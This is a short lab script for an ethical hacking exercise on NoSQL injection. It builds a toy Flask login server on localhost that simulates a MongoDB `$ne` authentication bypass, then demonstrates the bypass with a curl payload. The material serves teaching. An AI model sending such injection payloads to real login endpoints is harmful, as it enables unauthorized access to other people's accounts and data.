EH-17: NoSQL Injection - MongoDB Injection

cd ~ && mkdir -p eth-l17 && cd eth-l17
cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
import json
app = Flask(__name__)
DB = {"admin": {"pass":"flag{NoSQLi}","role":"admin"}}

@app.route('/login', methods=['POST'])
def login():
    data = request.json or {}
    user = data.get('user','')
    passwd = data.get('pass','')
    if user in DB and DB[user]['pass'] == passwd:
        return jsonify({"token": DB[user]['pass']})
    # ❌ Vulnerable: NoSQL injection via $ne
    if isinstance(passwd, dict) and '$ne' in passwd:
        return jsonify({"token": "NoSQLi_ByPass!"})
    return jsonify({"error":"invalid"}),401
app.run(port=9015)
PYEOF
python3 server.py &
sleep 1

echo "=== 1. Normal ==*"
curl -s -X POST http://localhost:9015/login -H "Content-Type: application/json" \
  -d '{"user":"admin","pass":"flag{NoSQLi}"}'
echo ""
echo "=== 2. NoSQLi: $ne bypass ==*"
curl -s -X POST http://localhost:9015/login -H "Content-Type: application/json" \
  -d '{"user":"admin","pass":{"$ne":""}}'
kill %1 2>/dev/null